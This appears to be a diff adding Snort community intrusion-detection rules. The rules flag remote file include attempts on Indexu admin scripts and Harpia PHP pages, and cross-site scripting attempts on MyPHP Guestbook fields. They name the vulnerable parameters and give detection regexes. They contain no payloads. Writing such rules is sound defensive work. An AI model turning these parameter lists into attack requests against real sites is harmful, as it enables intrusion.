+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_send.php remote file include"; flow:to_server,established; uricontent:"admin/inv_send.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000604; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu inv_unpaid.php remote file include"; flow:to_server,established; uricontent:"admin/inv_unpaid.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000605; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu lang_modify.php remote file include"; flow:to_server,established; uricontent:"admin/lang_modify.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000606; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_add.php remote file include"; flow:to_server,established; uricontent:"admin/link_add.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000607; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_bad.php remote file include"; flow:to_server,established; uricontent:"admin/link_bad.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000608; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_bad_delete.php remote file include"; flow:to_server,established; uricontent:"admin/link_bad_delete.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000609; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_checkurl.php remote file include"; flow:to_server,established; uricontent:"admin/link_checkurl.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000610; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_delete.php remote file include"; flow:to_server,established; uricontent:"admin/link_delete.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000611; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_duplicate.php remote file include"; flow:to_server,established; uricontent:"admin/link_duplicate.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000612; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_edit.php remote file include"; flow:to_server,established; uricontent:"admin/link_edit.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000613; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_premium_listing.php remote file include"; flow:to_server,established; uricontent:"admin/link_premium_listing.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000614; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_premium_sponsored.php remote file include"; flow:to_server,established; uricontent:"admin/link_premium_sponsored.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000615; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_search.php remote file include"; flow:to_server,established; uricontent:"admin/link_search.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000616; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_sponsored_listing.php remote file include"; flow:to_server,established; uricontent:"admin/link_sponsored_listing.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000617; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_validate.php remote file include"; flow:to_server,established; uricontent:"admin/link_validate.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000618; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_validate_edit.php remote file include"; flow:to_server,established; uricontent:"admin/link_validate_edit.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000619; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu link_view.php remote file include"; flow:to_server,established; uricontent:"admin/link_view.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000620; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu log_search.php remote file include"; flow:to_server,established; uricontent:"admin/log_search.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000621; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu mail_modify.php remote file include"; flow:to_server,established; uricontent:"admin/mail_modify.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000622; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu menu.php remote file include"; flow:to_server,established; uricontent:"admin/menu.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000623; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu message_create.php remote file include"; flow:to_server,established; uricontent:"admin/message_create.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000624; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu message_delete.php remote file include"; flow:to_server,established; uricontent:"admin/message_delete.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000625; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu message_edit.php remote file include"; flow:to_server,established; uricontent:"admin/message_edit.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000626; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu message_send.php remote file include"; flow:to_server,established; uricontent:"admin/message_send.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000627; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu message_subscriber.php remote file include"; flow:to_server,established; uricontent:"admin/message_subscriber.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000628; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu message_view.php remote file include"; flow:to_server,established; uricontent:"admin/message_view.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000629; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu review_validate.php remote file include"; flow:to_server,established; uricontent:"admin/review_validate.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000630; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu review_validate_edit.php remote file include"; flow:to_server,established; uricontent:"admin/review_validate_edit.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000631; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu summary.php remote file include"; flow:to_server,established; uricontent:"admin/summary.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000632; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_active.php remote file include"; flow:to_server,established; uricontent:"admin/template_active.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000633; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_add_custom.php remote file include"; flow:to_server,established; uricontent:"admin/template_add_custom.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000634; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_delete.php remote file include"; flow:to_server,established; uricontent:"admin/template_delete.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000635; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_delete_file.php remote file include"; flow:to_server,established; uricontent:"admin/template_delete_file.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000636; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_duplicate.php remote file include"; flow:to_server,established; uricontent:"admin/template_duplicate.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000637; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_export.php remote file include"; flow:to_server,established; uricontent:"admin/template_export.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000638; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_import.php remote file include"; flow:to_server,established; uricontent:"admin/template_import.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000639; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_manager.php remote file include"; flow:to_server,established; uricontent:"admin/template_manager.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000640; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_modify.php remote file include"; flow:to_server,established; uricontent:"admin/template_modify.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000641; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_modify_file.php remote file include"; flow:to_server,established; uricontent:"admin/template_modify_file.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000642; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu template_rename.php remote file include"; flow:to_server,established; uricontent:"admin/template_rename.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000643; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu user_add.php remote file include"; flow:to_server,established; uricontent:"admin/user_add.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000644; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu user_delete.php remote file include"; flow:to_server,established; uricontent:"admin/user_delete.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000645; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu user_edit.php remote file include"; flow:to_server,established; uricontent:"admin/user_edit.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000646; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu user_search.php remote file include"; flow:to_server,established; uricontent:"admin/user_search.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000647; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Indexu whos.php remote file include"; flow:to_server,established; uricontent:"admin/whos.php"; nocase; uricontent:"admin_template_path="; nocase; pcre:"/admin_template_path=(https?|ftp)/Ui"; reference:bugtraq,18477; classtype:web-application-attack; sid:100000648; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"comment="; nocase; pcre:"/comment(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000649; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"email="; nocase; pcre:"/email(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000650; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"homepage="; nocase; pcre:"/homepage(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000651; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000652; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"name="; nocase; pcre:"/name(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000653; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"text="; nocase; pcre:"/text(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000654; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt"; flow:to_server,established; uricontent:"admin/guestbook.php"; nocase; uricontent:"comment="; nocase; pcre:"/comment(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000655; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt"; flow:to_server,established; uricontent:"admin/guestbook.php"; nocase; uricontent:"email="; nocase; pcre:"/email(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000656; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt"; flow:to_server,established; uricontent:"admin/guestbook.php"; nocase; uricontent:"homepage="; nocase; pcre:"/homepage(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000657; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt"; flow:to_server,established; uricontent:"admin/guestbook.php"; nocase; uricontent:"number="; nocase; pcre:"/number(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000658; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt"; flow:to_server,established; uricontent:"admin/guestbook.php"; nocase; uricontent:"name="; nocase; pcre:"/name(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000659; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook guestbook.php xss attempt"; flow:to_server,established; uricontent:"admin/guestbook.php"; nocase; uricontent:"text="; nocase; pcre:"/text(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000660; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt"; flow:to_server,established; uricontent:"admin/edit.php"; nocase; uricontent:"email="; nocase; pcre:"/email(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000661; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt"; flow:to_server,established; uricontent:"admin/edit.php"; nocase; uricontent:"homepage="; nocase; pcre:"/homepage(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000662; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt"; flow:to_server,established; uricontent:"admin/edit.php"; nocase; uricontent:"icq="; nocase; pcre:"/icq(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000663; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt"; flow:to_server,established; uricontent:"admin/edit.php"; nocase; uricontent:"name="; nocase; pcre:"/name(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000664; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyPHP Guestbook edit.php xss attempt"; flow:to_server,established; uricontent:"admin/edit.php"; nocase; uricontent:"text="; nocase; pcre:"/text(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18582; classtype:web-application-attack; sid:100000665; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia files.php remote file include"; flow:to_server,established; uricontent:"/files.php"; nocase; uricontent:"footer_prog="; nocase; pcre:"/footer_prog=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000666; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia files.php remote file include"; flow:to_server,established; uricontent:"/files.php"; nocase; uricontent:"header_prog="; nocase; pcre:"/header_prog=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000667; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia pheader.php remote file include"; flow:to_server,established; uricontent:"/pheader.php"; nocase; uricontent:"theme_root="; nocase; pcre:"/theme_root=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000668; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia headlines.php remote file include"; flow:to_server,established; uricontent:"/headlines.php"; nocase; uricontent:"header_prog="; nocase; pcre:"/header_prog=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000669; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia web_statsConfig.php remote file include"; flow:to_server,established; uricontent:"/web_statsConfig.php"; nocase; uricontent:"mod_dir="; nocase; pcre:"/mod_dir=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000670; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia preload.php remote file include"; flow:to_server,established; uricontent:"/preload.php"; nocase; uricontent:"func_prog="; nocase; pcre:"/func_prog=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000671; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia users.php remote file include"; flow:to_server,established; uricontent:"/users.php"; nocase; uricontent:"header_prog="; nocase; pcre:"/header_prog=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000672; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia web_statsConfig.php remote file include"; flow:to_server,established; uricontent:"/web_statsConfig.php"; nocase; uricontent:"php_ext="; nocase; pcre:"/php_ext=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000673; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia footer.php remote file include"; flow:to_server,established; uricontent:"/footer.php"; nocase; uricontent:"theme_root="; nocase; pcre:"/theme_root=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000674; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia pfooter.php remote file include"; flow:to_server,established; uricontent:"/pfooter.php"; nocase; uricontent:"theme_root="; nocase; pcre:"/theme_root=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000675; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia missing.php remote file include"; flow:to_server,established; uricontent:"/missing.php"; nocase; uricontent:"header_prog="; nocase; pcre:"/header_prog=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000676; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia topics.php remote file include"; flow:to_server,established; uricontent:"/topics.php"; nocase; uricontent:"header_prog="; nocase; pcre:"/header_prog=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000677; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia header.php remote file include"; flow:to_server,established; uricontent:"/header.php"; nocase; uricontent:"mod_root="; nocase; pcre:"/mod_root=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000678; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"func_prog="; nocase; pcre:"/func_prog=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000679; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia search.php remote file include"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"header_prog="; nocase; pcre:"/header_prog=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000680; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia header.php remote file include"; flow:to_server,established; uricontent:"/header.php"; nocase; uricontent:"theme_root="; nocase; pcre:"/theme_root=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000681; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Harpia email.php remote file include"; flow:to_server,established; uricontent:"/email.php"; nocase; uricontent:"header_prog="; nocase; pcre:"/header_prog=(https?|ftp)/Ui"; reference:bugtraq,18614; classtype:web-application-attack; sid:100000682; rev:2;)
